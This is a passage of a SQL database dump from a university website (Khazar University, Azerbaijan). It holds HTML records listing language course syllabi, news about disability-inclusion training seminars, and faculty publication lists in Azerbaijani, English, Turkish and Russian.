href=\"http://www.khazar.org/files/languages_depart/FREN%20-%20201%20-%20French%20-%201%20-%20Vefa%20Bagirzade%20(%20Economics%20).pdf\">FREN - 201 - Fransız -&nbsp;dili - 1 - Vəfa Bağırzadə</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/PERS%20-%20201%20-%20Persian%20-%201%20-%20Zivar%20Huseynli%20Baylan.pdf\">PERS - 201 - Fars - dili - 1 - Zivər Hüseynli Baylan&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/GERM%20-%20201%20-%20German%20-%201-%20Sevinj%20Allahverdiyev%20(%20Humanities%20).pdf\">GERM - 201 - Alman - dili - 1 - Sevinc Allahverdiyeva ( Humanitar )</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/languages_depart/GERM%20-%20201%20-%20German%20-%201%20-%20Sevinj%20Allahverdiyeva%20(%20Educaion%20).pdf\">GERM - 201 - Alman - dili - 1- Sevinc Allahverdiyeva ( Təhsil )</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/GERM%20-%20201%20-%20German%20-%201%20-%20Sevinj%20Allahverdiyeva%20(%20Engeenering%20).pdf\">GERM - 201 - Alman - dili - 1 - Sevinc Allahverdiyeva (&nbsp; Mühəndislik )&nbsp;</a><a href=\"http://www.khazar.org/files/languages_depart/ITAL%20-%20201%20-%20Italian%20-%201%20-%20Gunay%20Gasimova.pdf\"><br></a></p><p><a href=\"http://www.khazar.org/files/languages_depart/ITAL%20-%20201%20-%20Italian%20-%201%20-%20Gunay%20Gasimova.pdf\">ITAL - 201 - İtalyan dili - 1- Günay Qasımova</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/Syllabus%202017-18%20pay%C4%B1z%202.pdf\">KOR - 201 - Koreya - dili - 1 - Könül Kamilzdə</a></p><p><a href=\"http://www.khazar.org/files/languages_depart/German%20-1%20fall%202017%20economics.pdf\">GERM - 201 - Alman - dili - 1- Sədaqət Cumayeva</a></p><p><br></p><p><br></p><p><br></p><p><br></p><a href=\"http://www.khazar.org/files/languages_depart/ARABIC%20-%20202%20-%20%C6%8Fr%C9%99b%20-%20dili%20-%202%20-%20Elv%C3%BCsal%20M%C9%99mm%C9%99dov.doc\"></a>'),(2367,1437,'en','Training Seminar for Students of School of Economics and Management','On October 18, 2016, a training seminar was held for students of the School of Economics and Management as part of the “Establishment of a Foundation for the Integration of Disabled...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nOctober 18, 2016, a training seminar was held for students of the School of\r\nEconomics and Management as part of the “Establishment of a Foundation for the\r\nIntegration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) Tempus\r\nproject. During the training, Rima Mammadova, coordinator of the Center for\r\nStudents with Disabilities, spoke to the students about disabilities, ethical\r\ntreatment of students with disabilities, inclusive education, the ESFIDIP\r\nTempus project, and volunteer opportunities in the Center for Students with\r\nDisabilities.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">27\r\nstudents participated in the training seminar.</p>'),(2368,1436,'en','Training Seminar for Students of School of Engineering and Applied Sciences','On October 18, 2016, a training seminar was held for students of the School of Engineering and Applied Sciences as part of the “Establishment of a Foundation for the Integration of Disabled...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nOctober 18, 2016, a training seminar was held for students of the School of\r\nEngineering and Applied Sciences as part of the “Establishment of a Foundation\r\nfor the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP)\r\nTempus project. During the training, Rima Mammadova, coordinator of the Center\r\nfor Students with Disabilities, spoke to the students about disabilities,\r\nethical treatment of students with disabilities, inclusive education, the\r\nESFIDIP Tempus project, and volunteer opportunities in the Center for Students\r\nwith Disabilities.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">21\r\nstudents participated in the training seminar.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>'),(869,577,'az',' Proqramlar',' Proqramlar',''),(870,577,'en',' All programs',' All programs',''),(871,578,'az','Elmi-tədqiqat','Elmi-tədqiqat','<div><br></div><div><br></div><div style=\"text-align:justify\"><p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Dil sahəsində\r\ndepartment əsasən ərəb, fars, türk, alman, ispan, fransız və italyan dillərini\r\nəhatə edən bir çox araşdırma layihəsi həyata keçirmiş və hal-hazırda çin, yapon\r\nvə koreya dillərinə dair inkişafetdirici araşdırma layihələri üzərində işləyir.&nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sivilizasiya araşdırmaları\r\nsahəsində department müxtəlif mədəniyyətlərin tarixi, fəlsəfi, sosial və mədəni\r\nperspektivlərdən araşdırmasını həyata keçirir. Bu çərçivədə department müxtəlif\r\nsivilizasiyaların tarixi dövrlərinin tədqiqi, o cümlədən mədəniyyətlər və\r\ndinlərarası əlaqələr, mədəni və dini müxtəliflik və sivilizasiyalararası\r\ndialoqla bağlı bir çox araşdırma layihəsini həyata keçirməyi planlaşdırır.&nbsp;<o:p></o:p></p> <p style=\"text-align: justify;\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><br></p>  <br></div>'),(872,578,'en',' Research',' Research','<div><br></div><div style=\"text-align:justify\"><p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">In the field of languages, the Department\r\nhas produced a range of research projects embracing mainly Arabic, Persian,\r\nTurkish, German, Spanish, French and Italian and is currently working on\r\ndeveloping research projects on Chinese, Japanese and Korean.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">In the area of civilization studies, the\r\nDepartment aims to study civilizations from historical, philosophical, social\r\nand cultural perspectives. Within this framework the Department is planning a\r\nrange of research projects on historical periods of various civilizations, as\r\nwell as intercultural/inter-religious relations, cultural and religious\r\ndiversity, and dialogue between civilizations.</p>  <br></div>'),(873,579,'az','Nəşrlər','Nəşrlər','<p>Departamentin elmi heyəti tərəfindən dillər və dünya\r\nmədəniyyətlərinə dair çoxsaylı məqalə, monoqrafiya və elmi əsərlər nəşr\r\nolunmuşdur. Universitetin Tərcümə Araşdırmaları Mərkəzi ilə qarşılıqlı\r\nfəaliyyət çərçivəsində fars, ərəb, alman, fransız, ispan və s. dillərdən\r\nAzərbaycan dilinə və əksinə tərcümə olunması da departmentin əsas fəaliyyət\r\nsahələrindən biridir.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong>Dr.\r\nZivər Hüseynli&nbsp;</strong><em></em></p>\r\n<p style=\"text-align:justify\">1. Səfəvi dönəmi və türk dili, Məqalə, Dil\r\nvə ədəbiyyat, Beynəlxalq elmi-nəzəri jurnal, Bakı, 2010, no.4(75), s.8-13<em></em></p>\r\n<p style=\"text-align:justify\">2. Banuye İsfahani və onun Həcc\r\nsəyahətnaməsi, Məqalə, Dil və ədəbiyyat, Beynəlxalq elmi-nəzəri jurnal, Bakı,\r\n2011, no.3(79), s.133-139<em></em></p>\r\n<p style=\"text-align:justify\">3. Zülqədərlər və Səfəvilər dövləti (I Şah\r\nAbbas dövrünədək), Məqalə, Dil və ədəbiyyat, Beynəlxalq elmi-nəzəri jurnal,\r\nBakı, 2012, no.1(81), s.294- 299<em></em></p>\r\n<p style=\"text-align:justify\">4. Səfəvilər dönəminə aid tarixi qaynaqlar\r\n(I Şah Abbas dönəmindən sonunadək, Məqalə, Filologiya məsələləri, Elm və\r\ntəhsil, Bakı, 2013 no.4, s.303-312<em></em></p>\r\n<p style=\"text-align:justify\">5. Два языка в период Сефевидов, Məqalə,\r\nВЕСТНИК МГЛУ (Журнал Московский государственный лингвистический университета.\r\nСерия \"Филология. Теория языка. Языковое образование\" МОСКВА, 2013.\r\nно. 16 (675, s.137-149<em></em></p>\r\n<p style=\"text-align:justify\">6. Səfəvilərin ilk dönəminə aid tarixi\r\nqaynaqlar, Məqalə, Orta əsr əlyazmaları və Azərbaycan mədəniyyəti tarixi\r\nproblemləri. Ümumilli leder Heydər Əliyevin anadan olmasının 90-cı ildönümünə\r\nhəsr olunmuş XIII Respublika elmi konfransın materialları. Elm və təhsil\r\nnəşriyyat-poliqrafiya müəssisəi. 24 may, 2013, s.187-192<em></em></p>\r\n<p style=\"text-align:justify\">7. Səfəvi padşahlarının türkcə məktubları,\r\nMəqalə, Filologiya məsələləri, 2014, no. 6, S. 174-186<em></em></p>\r\n<p style=\"text-align:justify\">8. Şüərayi-Qəzviniye- doreye Şah Təhmasbe-\r\nəvvəle- Səfəvi və təamole-anha ba dərbar, Məqalə, B. Adilfər,\r\n“Məcmueyi-məqalate həmayeşe beynəlmeləliye- Qəzvin əsre-Səfəvi” Qəzvin\r\nBeynəlxalq universitetinin nəşriyyatı. 1391 h.ş., s.46-62<em></em></p>\r\n<p style=\"text-align:justify\">9. Səfəvilər Dövründə Türk Dilinin Rolu,\r\nKitabda bölüm, Safeviler ve Şah İsmail. İstanbul, Önsöz Yayıncılık, 2014,\r\ns.269-289<em></em></p>\r\n<p style=\"text-align:justify\">10. İran\'da Türk Dili (Gazneliler\r\nDöneminden Safeviler Dönemi Sonuna Kadar), Məqalə, Güneykafkasya Hakları, Dil,\r\nTarih, Kültür İlişkileri Uluslararası Bilgi Şöleni. Bildiriler kitabı. Ordu.\r\n2011, s.591-598<em></em></p>\r\n<p style=\"text-align:justify\">11. Zülqədirlərin İrana köçləri və\r\nSəfəvilər dönəmində rolları, Məqalə, Uluslararası Dulkadir Beyliği Sempozyumu materialları\r\nkitabında çap olunub. Kaharmanmaraş Belediyesi, iyil 2012. C.2, s.105-128<em></em></p>\r\n<p style=\"text-align:justify\">12. Fars Edebiyatında Ahilik Metinleri,\r\nFütüvvetnameler, Məqalə, Ali Çavuşoğlunun redaktəsi ilə “Ahilik, Uluslararası\r\nSempozyumu, Kalite Merkezi Bir Yaşam” bildiri kitabı.Kayseri, 2011, s.24-44<em></em></p>\r\n<p style=\"text-align:justify\">13. Maraşlı Yazarlardan Safeviler Dönemine\r\nAit İki Tarihi Eser, Məqalə, Uluslararası Osmanlı döneminde Maraş sempozyumu\r\nmateriallı kitabında çap olub Kahramanmaraş Belediyesi 2013.c.3., s.203-213<em></em></p>\r\n<p style=\"text-align:justify\">14. Avropalıların Səyahətnamələrində\r\nAzərbaycan (Qacarlar dönəmi), Məqalə, Azərbaycan Dünya Ədəbiyyatında,\r\nBeynəlxalq Simpoziumu kitabında. Xəzər Universiteti nəşriyyatı. 2012., S.638-652<em></em></p>\r\n<p style=\"text-align:justify\">15. Lahic ve Lahıclar, Məqalə, Beynəlxalq\r\nKafkas Halklarının Folkloru ve Ligvo-Kültürolojisi Simpoziumu kitabın.Tbilisi\r\n(Gürcüstan) 2012, S.563-571<em></em></p>\r\n<p style=\"text-align:justify\">16. Səfəvilərin ilk dönəminə aid tarixi\r\nqaynaqlar, Məqalə, Orta əsr əlyazmaları və Azərbaycan mədəniyyəti tarixi\r\nproblemleri. Ümumilli lider Heydar Əliyevin 90.-cı ildönümünə həsr olunmuş XIII\r\nRespublika elmi konfransın materialları. Elm və təhsil nəşriyyatı. 24 Mayıs,\r\n2013, S. 187-192<em></em></p>\r\n<p style=\"text-align:justify\">17. Maraştan Uzaklarda Yaşayan Maraşi\r\nSoyadlı Alim, Məqalə, Cumhuriyyet dönemi Maraş Beynəlxalq simpoziumunun\r\nmaterialları. Kahramanmaraş Belediyesi 2014, S.590-602<em></em></p>\r\n<p style=\"text-align:justify\">18. Türkçeden Farsçaya Geçen Kelimeler\r\n(Safeviler Dönemi), Məqalə, Hacettepe Universiteti, Ankara. Türkiye. Oğuzlar:\r\ndilleri, tarixləri və mədəniyyətləri mövzusunda V Beynəlxalq Türkiyat\r\nArastirmalari Simpoziumu, Hacettepe Üniversiteti Türkiyat Araştırmaları\r\nEnstitüsü nəşriyyatı. 2015,&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">19. Fəal qadın kimliyi. (Səfəvilər\r\ndönəminin günümüzə təsiri, Məqalə, XXI əsrin pəncərəsindən: Mədəniyyət və\r\nkimlik” Beynəlxalq simpozyum. Xəzər Universiteti, Azerbaycan. Sempozyumun\r\nbildiri kitabında yayında,&nbsp;<a href=\"http://www.khazar.org/files/pdf/simp%20ii%20cild2.yeni.pdf\">http://www.khazar.org/files/pdf/simp%20ii%20cild2.yeni.pdf</a></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\">20 . Bayburtlu Zihni Şiirlerinde Farsça\r\nUnsurları, Məqalə, Tarixi və mədəniyyəti ile XIX yüzildən günümüzə Bayburt\r\nSimpoziumu.Atatürk Kültür, Dil ve Tarih Yüksek Kurumu, Atatürk Araştırma\r\nMerkezi Yayınları, 2016&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">21. Osmanlı İstanbulun`da Safevi Edipleri,\r\nMəqalə, III Beynəlxalq Osmanlı İstanbulu Simpoziumu Sempozyumun bildiri kitabı,\r\ns.749-760<em></em></p>\r\n<p style=\"text-align:justify\">22. Risale-i Goşiriye, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara. “”, C.1. s.227-228.<em></em></p>\r\n<p style=\"text-align:justify\">23. Tuhfetü`l-İhvan fi Hasais-i Fityan,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.331.<em></em></p>\r\n<p style=\"text-align:justify\">24. Risale-i Fütüvvetiye, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara.<em></em></p>\r\n<p style=\"text-align:justify\">25. Risale-i Fütüvvetname-i Riyaz Muhammed,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.433.<em></em></p>\r\n<p style=\"text-align:justify\">26. Fütüvvetname-i Ahengeran,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.430.<em></em></p>\r\n<p style=\"text-align:justify\">27. Fütüvvetname-i Çitsazan, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara, C.1. s.227.<em></em></p>\r\n<p style=\"text-align:justify\">28. Risale-i Diger der Bare-i Esnaf,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.227.<em></em></p>\r\n<p style=\"text-align:justify\">29. Fütüvvetname-i Dellakan, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara, C.1. s.432.<em></em></p>\r\n<p style=\"text-align:justify\">30. Fütüvvetname-i Emirelmüminin Hz. Ali,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.432.<em></em></p>\r\n<p style=\"text-align:justify\">31. Fütüvvetname-i Haccaman, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara, C.1. s.432.<em></em></p>\r\n<p style=\"text-align:justify\">32. Fütüvvetname-i Kassab, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara, C.1. s.432-<em></em></p>\r\n<p style=\"text-align:justify\">33. Fütüvvetname-i Kefşduzan,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.433.<em></em></p>\r\n<p style=\"text-align:justify\">34. Fütüvvetname-i Selmanian,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.433.<em></em></p>\r\n<p style=\"text-align:justify\">35. Fütüvvetname-i Seyyid, Ensiklopediya\r\nməqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı yayınları.\r\n2016, Ankara, C.1. s.433-434<em></em></p>\r\n<p style=\"text-align:justify\">36. Fütüvvetname-i Seyyid Ezzi Mervi,,\r\nEnsiklopediya məqaləsi, Ahilik Ansiklopedisi, T.C. Gümrük ve Ticaret Bakanlığı\r\nyayınları. 2016, Ankara, C.1. s.434.<em></em></p>\r\n<p style=\"text-align:justify\">37.&nbsp;Türkcədən farscaya keçmiş əşya\r\nadları (Səfəvilər dövrü). “Filologiya məsələləri” № 6.2017-ci il. s. 228-238.&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">38.&nbsp;Türk dili və türk ədəbiyyatının\r\ninkişafında şah İsmayılın rolu. “Sivilizasiya” jurnalı. Cild 6, No 1 (33)\r\n.2017s.274-281<em></em></p>\r\n<p style=\"text-align:justify\">39.&nbsp;Dini Ədəbiyyatımızın inkişafında\r\nŞah İsmayılın rolu. Dil və Ədəbiyyat Beynəlxalq elmi-nəzəri jurnal. 2(102).\r\n2017 s.305-311<em></em></p>\r\n<p style=\"text-align:justify\">40.&nbsp;XVI-XVII əsr Azərbaycanın siasi\r\nvə mədəni həyatında Səfəvi xanədan qadınlarının rolu,İlahiyyat Fakültəsinin\r\nelmi məcnuməsi. 2017. S.153-167<em></em></p>\r\n<p style=\"text-align:justify\">41.&nbsp;Səfəvilər dönəmi münəccimlik və\r\nmünəccimlərə dair araşdırma. Elmi əsərlər. No.67. 2017. S. 36-49<em></em></p>\r\n<p style=\"text-align:justify\">42.&nbsp;Əski Azərbaycan yazısı. Köhlən\r\nnəşriyyatı 2017. 175 səhifə. İSBN 9789952833065.<em></em></p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<address style=\"text-align:justify\"><strong>\r\n<hr width=\"1041\" noshade=\"noshade\">\r\n</strong></address>\r\n<p><strong>Könül\r\nKamilzadə</strong></p>\r\n<p style=\"text-align:justify\">1. «Azərbaycan və Koreya dillərində\r\nsomatik leksika əsasında formalaşan frazeoloji birləşmələr», Elmi məqalə,\r\nAzərbaycan Dillər Universiteti Elmi xəbərlər məcmuəsi N1, Bakı 2016<em></em></p>\r\n<p style=\"text-align:justify\">2.&nbsp;«Azərbaycan və Koreya dillərində\r\nsifət və onun oxşar və fərqli xüsusiyyətləri», Elmi məqalə, Azərbaycan Dillər\r\nUniversiteti Elmi xəbərlər məcmuəsi N3, Bakı 2016<em></em></p>\r\n<p style=\"text-align:justify\"><br>\r\n<br>\r\n<em></em></p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;Sədaqət Cumayeva</strong><em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">1.&nbsp;Alman\r\ndilinin bəzi fonotaktika məsələləri haqqında.&nbsp;“Azərbaycanda Xarici Dillər”\r\njurnalı (2010, №2/3), s.34-38<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">2.&nbsp;Dilöyrənmədə interferensiyanı doğuran əsas\r\nsəbəblər haqqında. “Alman dili fakültəsinin müstəqil fəaliyyətinin 60 illik\r\nyubileyi”-nə həsr olunmuş elmi-praktik konfransın tezisləri,&nbsp;Bakı, 2010,\r\ns.94-95.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">3.&nbsp;Fonoloji sistemin reallaşmasında orfofonik\r\nxüsusiyyətlərin tədqiqi. Nitq mədəniyyəti və terminologiyanın aktual\r\nproblemləri. Respublika elmi konfransının materialları, Bakı, 2011, s.41-45.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">4.Dilöyrənmədə\r\nfonem birləşmələrinin əhəmiyyətinə dair. “Xarici dillərin tədrisinin aktual\r\nproblemləri” adlı V Respublika Elmi konfransı, Bakı, 2012.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">5.&nbsp;Dilöyrənmədə kombinator modellərin roluna\r\ndair. “Ümummilli lider H.Əliyevin anadan olmasının 90 illiyinə həsr olunmuş\r\n“Xarici dillərinin tədrisinin aktual problemləri”. Beynəlxalq elmi-praktiki\r\nkonfransın materialları, Bakı,6-7 may 2013-cü il,&nbsp;s.119<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">6.Dildə sözün seqment təşkilinə dair. “Ümummilli lider\r\nH.Əliyevin&nbsp;90 illik yubileyinə&nbsp;həsr olunmuş “Heydər Əliyev:\r\nAzərbaycan dilçiliyi və Azərbaycan dili” mövzusunda elmi-nəzəri konfrans. Bakı,\r\n30 may 2013-cü il.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">7.&nbsp;Böyük alim, nurlu&nbsp;şəxsiyyət. Fəxrəddin&nbsp;Veysəlli\r\n70. Böyük alim, böyük şəxsiyyət. Baki. Mütərcim 2013. s.248-249.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">8.Sözün sintaqmatik strukturuna dair. “Azərbaycanda Xarici Dillər”\r\njurnalı (2014-cü il,&nbsp;№2,\r\ns.37-42).<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">9.Alman və Azərbaycan dillərində samit birləşmələrinin işlənmə tezliyi.&nbsp;“Azərbaycanda Xarici Dillər”\r\njurnalı. 2015<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">10.Cлоговые модели в немецком и азербайджанском языках. Полтавьский\r\nНациональний Педагогичний Университет Имени В.Г. Koroлeнkа. “Филологические\r\nнауки”. Полтава/ 2015. s.94-98.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">11.“II xarici dil (alman dili)”. Fənn proqramı. Azərbaycan\r\nRespublikası Təhsil Naziri. (2016-ci il).<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">12.Alman və Azərbaycan dillərində frazeoloji çoxmənalılıq və\r\nfrazeoloji variantlıq. “Azərbaycanda\r\nxarici dillər” jurnalı. №1/2016. s.16-21<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">13.Kombinator təhlilin&nbsp;tədqiqat metodikası. “Azərbaycan Dillər Universiteti.\r\nBeynəlxalq Dilçilik konfransı”. 2016.<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\"><br>\r\n<br>\r\n<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\"><strong>&nbsp;Sevinc Allahverdiyeva</strong><em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">1.&nbsp;Jurnal- Odlar yurdu Universiteti\r\nElmi Pedaqoji Xəbərlər “Söz yaradıcılığının tətbiqi tarixi “<em></em></p>\r\n<p style=\"text-align: justify; border-width: initial; border-style: none; border-color: initial; padding: 0in; background-position: 100% 0%;\" \"=\"\">2011&nbsp;№31.&nbsp;(Səh.235-239)\r\n(OYU)-Məqalə<em></em></p>\r\n<p style=\"text-align:justify\">2.Jurnal- Odlar yurdu Universiteti Elmi\r\nPedaqoji Xəbərlər “Alman dilində söz yaradıcılığı”2011 №32 (Səh.239-243) (OYU)\r\n-Məqalə<em></em></p>\r\n<p style=\"text-align:justify\">3.Jurnal- Odlar yurdu Universiteti Elmi\r\nPedaqoji Xəbərlər “ Alman dilində söz yaradıcılığının vasitə və modelləri” 2012\r\n№33 (Səh. 195-199) (OYU) -Məqalə<em></em></p>\r\n<p style=\"text-align:justify\">4.&nbsp;Filologiya Məsələləri Jurnalı- “\r\nAzərbaycan dilində söz yaradıcılığının vasitə və modelləri” 2012 №5. ( Səh.\r\n151-156)(OYU) -Məqalə<em></em></p>\r\n<p style=\"text-align:justify\">5. Filologiya Məsələləri Jurnalı- “ Alman\r\nvə Azərbaycan dillərində klerikal leksikanın tərcüməsi tarixindən ” 2012 №8. (\r\nSəh. 113-118) (OYU) -Məqalə<em></em></p>\r\n<p style=\"text-align:justify\">6.Filologiya Məsələləri Jurnalı- “\r\nKlerikal leksikanın tərcümə problemləri” 2016 №6. (Səh.136-140) (Xəzər Universiteti)\r\n-Məqalə<em></em></p>\r\n<p style=\"text-align:justify\">7.Filologiya Məsələləri Jurnalı- “Alman\r\ndilində prefiksləşmə” 2016 №8. 9 (Səh.69-73) (Xəzər Universiteti) -Məqalə<em></em></p>\r\n<p style=\"text-align:justify\"><br>\r\n<br>\r\n<em></em></p>\r\n<p style=\"text-align:justify\"><strong>Dr.Elvüsal Məmmədov</strong><em></em></p>\r\n<p style=\"text-align:justify\">1. Sufilik təlimində iman-ağıl\r\nmünasibətlərinə dair, Məqalə, “Dövlət və Din” ictimai fikir toplusu, fevral\r\nburaxılışı. Bakı, 2010, səh. 89-95.&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">2. Ehkamçı rasionalizm - kəlam, Məqalə,\r\n“Dövlət və Din” ictimai fikir toplusu, aprel buraxılışı. Bakı, 2010, səh.\r\n70-77.&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">3. Müasir müsəlman qadının social – mədəni\r\nmarifləndirmə irsindəki rolu, Məqalə, “Dövlət və Din” ictimai fikir toplusu,\r\niyun buraxılışı. Bakı, 2010, səh. 124-131. <em></em></p>\r\n<p style=\"text-align:justify\">4.&nbsp;Qurani-Kərimdə\r\n“ağıl” məfhumu: mülahizələr və qeydlər, Məqalə, “Dövlət və Din” ictimai fikir\r\ntoplusu, avqust buraxılışı. Bakı, 2010, səh. 157-161. <em></em></p>\r\n<p style=\"text-align:justify\">5.&nbsp;Qurani-Kərimin\r\ntəfsiri və təfsir növləri, Məqalə, “Dövlət və Din” ictimai fikir toplusu,\r\noktyabr buraxılışı. Bakı, 2010, səh. 196-202. <em></em></p>\r\n<p style=\"text-align:justify\">6.&nbsp;Məşşai\r\nfilosofları İbn Miskəveyh, Sicistani və Bətəlyövsiyə görə din-fəlsəfə\r\nmünasibətləri, Məqalə, “Dövlət və Din” ictimai fikir toplusu, dekabr\r\nburaxılışı. Bakı, 2010, səh. 42-48.<em></em></p>\r\n<p style=\"text-align:justify\">7. Müasir dövrdə\r\n“Mötədil islam” layihəsinə dair bəzi mülahizələr, Məqalə, “Şərqşünaslıq”\r\njurnalı. AMEA Z.M.Bünyadov adına Şərqşünaslıq institutunun elmi məcmuəsi, №\r\n2(4), Bakı, 2010, səh. 25-31.<em></em></p>\r\n<p style=\"text-align:justify\">8. Qədim yunan\r\nictimai fikrində və xristianlıq təlimində fəlsəfə və din, Məqalə, “Dövlət və\r\nDin” ictimai fikir toplusu, fevral buraxılışı. Bakı, 2011, səh. 52-58. <em></em></p>\r\n<p style=\"text-align:justify\">9.&nbsp;İbn Sinanın fəlsəfi təlimində din\r\nvə fəlsəfə, Məqalə, “Dövlət və Din” ictimai fikir toplusu, avqust buraxılışı.\r\nBakı, 2011, səh. 41-52.<em></em></p>\r\n<p style=\"text-align:justify\">10.&nbsp;Qəzali və məşşailik təlimində\r\ndinlə fəlsəfənin uyğunlaşdırılması cəhdlərinin tənqidi, Məqalə, “Dövlət və Din”\r\nictimai fikir toplusu, may-iyun buraxılışı. Bakı, 2012.&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">11.&nbsp;Alın yazısı: imtahan, yoxsa\r\ntəsadüf?, Məqalə, “Bona-Mente” jurnalı, Bakı, sentyabr-oktyabr buraxılışı, 8\r\n(37) 2012, səh. 68-72.<em></em></p>\r\n<p style=\"text-align:justify\">12. İslamda etiqad azadlığı və dönüklərin\r\ncəzalandırılması haqqında, Məqalə,&nbsp;“Din və etiqad azadlığı: hüquqi,\r\nsiyasi və ictimai aspektlər” tezislər toplusu 2012, səh. 119-122.<em></em></p>\r\n<p style=\"text-align:justify\">13. Orta əsr\r\nmüsəlman fəlsəfi fikrinin yaranması və qeyri-fəlsəfi rasional fikirlə\r\nmüqayisəsi haqda, Məqalə, AMEA akad. Z.M. Bünyadov adına 